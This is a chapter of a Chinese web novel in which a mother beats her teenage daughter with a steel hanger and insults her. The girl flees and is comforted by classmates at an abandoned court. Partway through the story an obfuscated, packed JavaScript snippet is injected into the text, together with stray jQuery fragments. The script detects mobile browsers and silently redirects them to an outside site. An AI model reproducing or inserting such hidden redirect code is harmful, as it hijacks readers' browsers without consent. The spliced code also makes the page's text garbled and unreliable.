9. 夏日

作品:《夏日罐头

    国庆假期北涪市所有中小学都放了七天的长假,于是照顾弟弟云日升的任务就落到了云雨生的头上。


    云雨生自小跟着奶奶长大,一年到头只有春节的时候会见到自己的父母和弟弟,因此对云日升的感情并不算深厚。


    在她的心里,对于这个弟弟的存在,甚至是有些说不出口的厌恶。


    云日升被许慧芬宠得有些无法无天,满嘴都是脏话,一不顺心就会对着所有人大呼小叫,同时把手头能碰到的东西乱摔一通。


    假期的第一天,云雨生就被这个小祖宗折腾得精疲力尽。


    洗好了中午用过的碗筷,她刚把地上扔得到处都是的衣服和袜子收拾好,抬头一看,云日升不知道又跑去了哪里。


    少了他在耳边大喊大叫的吵闹声,云雨生瘫坐在地板休息了一会,难得喘了口气。


    窗外天色暗了下来,对面楼房窗口陆陆续续亮起了灯。


    也许是白天又受了同事不少气,许慧芬回家的时候脸色一片阴沉,说话语气都带着刺。


    云雨生吓得大气也不敢出,躲在厨房里熟练地倒油炒菜,被热气熏得脸颊发烫,后背也出了不少汗。


    她刚把饭盛出来,许慧芬突然冲进厨房,一手还拿着个衣架,一副怒火中烧的模样。


    “我看你这个死丫头就是个讨债鬼,专门来害我的,你怎么不去死!”


    女人双眼通红,乌紫色的嘴皮不停地一开一合,蹦出这世界上最恶毒的言语。


    云雨生拿着饭勺的手停在半空,有些茫然地望着眼前这个将自己生下来的女人,此刻对方看向自己的目光里全是嫌恶和恨意。


    就好像她做了什么天理不容、十恶不赦的事情一般。


    “还敢瞪着我?”


    许慧芬大吼的同时,钢芯衣架已经重重落在少女白皙瘦削的手臂上。


    啪。


    不到一秒的时间,冷白色的肌肤上立刻出现一道触目惊心的红痕。


    剧烈的抽痛感以后,慢慢又变成不断灼烧的钝痛感,从四肢蔓延开来。


    胸口开始疼得喘不过气。


    “我当初就应该把你掐死,你这个小婊/子怎么没有死在乡下……”


    像是突然找到了发泄不满和愤恨的出口,被工作和家庭压得无法透气的中年女人所有的坏情绪只有在这一刻终于得到宣泄。


    如同狂风卷过平原,云雨生无处躲避,手臂、后背、大腿……无一幸免。


    她觉得自己好像一艘漂浮在海上的小船,被风雨和涛浪一寸寸摧毁,连呼叫都失去了意义。


    讨债鬼、害人精、小婊/子……


    怎么不去死啊?


    云雨生疼到了极点,反而突然想笑,她不是第一次听到这些话了。


    小时候,奶奶和伯母们以为她听不懂,常常指着她和别人介绍:“这就是小五家的赔钱货,小讨债鬼一个”。


    上学的时候,班上的男生总是将她的书包丢进男厕所,用涂改液在她的课桌上写满“婊/子”、“半男女”、“鸡”等等的字眼。


    可那些时候云雨生都没有哭,每一次,她都是忍住眼泪,告诉自己,没关系的,她知道自己不是就好了。


    但是,许慧芬和所有人都不同。她的每一句话,都像是一把生了锈的长刀,一下一下插入云雨生的心脏,叫她血流不止。


    云雨生怎么都想不明白,一个十月怀胎将她带到人世,本应该是这个世界上和她最亲最近的人,却原来也这么痛恨她的降生。


    她从小一直想念的、渴望能一起生活的妈妈,原来这么恨不得她能立刻消失。


    分不清是衣架落到身上痛一点,还是许慧芬的话刺得她的心更疼一些,云雨生心里只有一个念头,消失吧。


    不要再惹人生厌了。


    她跌跌撞撞往外跑,可是跑到巷子口的时候,又变得迷茫起来。


    北涪很大,有高楼大厦、灯红酒绿,也有破败的老房小巷,随处可见的晾衣杆。


    迎面而来的每个人都形色匆忙,辛苦了一天的上班族、急切想回家见到妻儿的男人、期待着与男友约会的时髦女郎……


    但这一切都与她云雨生无关,在这里,她是那样的可有可无。世界很大,可没有一个地方是她的归属。


    她漫无目的地在街上晃着,直到双腿再也走不动。


    看到不远处的石凳,云雨生才突然发现,原来她不知不觉走到上次经过的废弃球场。


    这一带鲜少有人来,她总算可以痛痛快快哭一场,不用担心被任何人看见自己的狼狈。


    云雨生抱着双腿坐在石凳上,忍了许久的眼泪顺着脸颊往下掉。


    来到北涪以后她每天都小心翼翼,生怕惹得父亲母亲不痛快,说起来已经很久没有这样发泄过了。


    沉浸在自己的悲伤中无法自拔,少女哭得太过专注,完全没听到身后的脚步声越来越近。


    “我靠,大姐你这也太吓人了吧!”


    熟悉的声音从耳后传来,云雨生抽抽搭搭着转过头,祁序那张玩世不恭的脸一下子凑到她眼前,仅仅只有五厘米的距离。


    她下意识惊呼出声,下一秒才发现这还是自己第一次在人前发出这么大的声音。


    祁序漫不经心掏了掏耳朵,直接在她旁边坐下。


    云雨生往一旁挪动了点,这才看到不远处站着的几个人影。


    站在中间的少年身形修长俊逸,宽大的白色T恤松松垮垮扎在黑色的休闲裤中,双手插兜,神色懒倦,眸光晦暗不明。


    而站在他旁边身穿黄色长裙、眉眼弯弯的女孩,就是上回在走廊上看着云雨生的那位。


    “老程,你看这是谁来着?”祁序有些夸张地喊了声,“你的小鹌鹑居然在这哭。”


    原本远远看到个娇小的身影坐在一片漆黑里,他还以为是哪家离家出走的小孩。没想到居然会是程千峪那家伙的同桌,哭得泪眼朦胧,看着可怜兮兮的。


    云雨生回过神来,又羞又气。老人常说冤家路窄,她怀疑祁序这只丧门犬就是她的克星,怎么走到哪都能碰到这家伙?


    而且他怎么总是喜欢胡说八道,什么叫“你的小鹌鹑”,他这话说得好像她是程千峪所有物一般。


    还有,她才不是什么小鹌鹑!


    反正已经这么丢脸了,云雨生顾不上许多,气呼呼骂了他一句:“你才是鹌鹑!”


    “你居然骂我!你——”祁序作势要给她一拳,电光火石之间突然想起了什么,有些惊讶道:“原来小鹌鹑会说话啊。”</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14710281|157107||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    仔细想想,开学这么久,这还是他第一次听到这小土妞开口说话,祁序有段时间还以为她是哑巴来着。


    感觉到头顶沉下来一片阴影,云雨生慌乱地垂下头。程千峪已经走近,长臂搭在祁序的后颈上,略含警告意味道:


    “别欺负她。”


    周蛮蛮也走了过来,用力推了祁序一把,没好气道:“你一天到晚欺负个女孩儿算什么?”


    “阿序就是说话不过脑子,你别在意啦。”黄裙子女孩像老朋友一样熟稔地拉起云雨生的手,安慰道:“你心情不好吗?可以和我们说说的。”


    这么多人围了过来,云雨生更加局促不安,抬眼看到面前女孩温柔的浅笑,才突然记起她的名字——孙婉妍,一个喜欢程千峪的女生。


    “没事……”她小声说了句,也不知道其他人有没有听见。


    孙婉妍从包里掏出一小包餐巾纸递了过来,“擦一下脸吧。”


    柔软还带着些清香的纸巾让云雨生有些舍不得用,紧紧握在手心。


    女孩子们一向心思细腻,孙婉妍很快就把祁序他们拉到另一边的石凳,几个人说说笑笑,那种氛围让云雨生很是羡慕。


    除了程千峪和祁序,一起的还有一个留着板寸头的男生,肤色是健康的小麦色,一张脸如刀削一般棱角分明,是很硬朗的长相。


    他们正聊得起劲,说的都是初中时候的趣事。只有程千峪不怎么说话,偶尔给一个单音节的回应。


    云雨生的注意力被转移了些,心里的阴郁也消散了不少,她正准备起身离开,却被祁序突然叫住。


    “喂,小鹌鹑你别跑啊。”


    他的语气听上去懒懒的又欠扁,“一起玩嘛。”


    云雨生翻了个白眼,她和他们有熟到这个地步吗?


    这丧门犬还真是自来熟。


    “对呀,跟我们一起吧。”孙婉妍起身,笑眯眯道:“难得能碰见,阿序你们先去买点喝的,我们三个女生聊聊。”


    孙婉妍一开口,周蛮蛮也附和道:“雨生快过来,我们还没怎么聊过天呢。”


    半推半就,云雨生便被两个女孩架着到了他们那边。此时程千峪站了起来,漫不经心朝她看了一眼。


    那双狭长的眸子在黑夜里亮得出奇,像是盛满了点点星光。


    不同于在学校时那样清冷疏离、生人勿近,现在的他简洁清朗,像是邻家大哥哥一般。


    云雨生的心突然瑟缩了下,下意识别开了双眼。


    “你喝什么,同桌?”


    他低头问了她一句,音色冷冽,如同月光下的清泉。


    还没等云雨生回答,祁序已经替她发言:“小鹌鹑一看就不会喝酒,给她买瓶酸奶好了。”


    程千峪没有理会,清冷的眸光垂下,落到少女柔软的发顶。


    难得见到她不穿校服的样子,灰色的长T罩住小巧的一只,踩着人字拖的一双脚也是小小的,雪白的脚趾头圆润可爱,泛着浅浅的粉。


    从上到下都写满“好欺负”三个字。


    “酸奶?”


    云雨生不自在地点了点头,轻声道:“嗯。”


    “行,等着。”


    夜风中,少年的声音里含着些微笑意,莫名有种蛊惑的意味。